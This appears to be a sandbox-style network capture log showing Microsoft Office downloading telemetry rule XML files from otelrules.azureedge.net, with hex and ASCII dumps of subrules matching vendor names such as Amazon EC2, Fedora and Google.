version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.8	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:47 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:48 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:48 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: fac49ef3-501e-008f-0a91-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070448Z-174f7845968px8v7hC1EWR08ng0000000v90000000009c7p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:48 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.8	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:47 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:48 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:48 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: cb9203b6-501e-0029-2691-3fd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070448Z-174f7845968zgtf6hC1EWRqd8s0000000mxg00000000duwm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:48 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.8	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:47 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:48 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:48 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e14f358b-d01e-007a-5d7e-3ff38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070448Z-174f7845968qj8jrhC1EWRh41s0000000v00000000007h4p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:48 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.8	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:48 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:48 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:48 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5cf18591-601e-000d-7e91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070448Z-174f78459685m244hC1EWRgp2c0000000v10000000000h7m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:48 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.8	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:48 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:48 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:48 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070448Z-174f7845968psccphC1EWRuz9s0000000vdg000000001mp2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:48 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.8	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:50 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:50 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:50 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b24172ee-901e-0016-3789-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070450Z-174f784596886s2bhC1EWR743w0000000v30000000007mt4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:50 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.8	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:50 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:50 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:50 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 59a03737-a01e-00ab-1891-3f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070450Z-174f7845968kvnqxhC1EWRmf3g0000000dy0000000003t9p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:50 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.8	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:50 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:50 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:50 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 5cf18767-601e-000d-7d91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070450Z-174f78459684bddphC1EWRbht40000000uv0000000004qgt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:50 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.8	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:50 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:51 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:51 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: dcf51672-d01e-005a-5c91-3f7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070451Z-174f78459688l8rvhC1EWRtzr000000007kg00000000cdmb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:51 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.8	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:50 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:50 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:50 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7af319f3-d01e-0017-6a91-3fb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070450Z-174f7845968px8v7hC1EWR08ng0000000v9g000000008dhv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:50 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.8	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:52 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:52 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:52 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: dd02da03-701e-001e-0d91-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070452Z-174f7845968n2hr8hC1EWR9cag0000000uq0000000008gt4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:52 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.8	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:52 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:52 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:52 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: f73eacfc-701e-0001-0b91-3fb110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070452Z-174f7845968glpgnhC1EWR7uec0000000va0000000002efx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
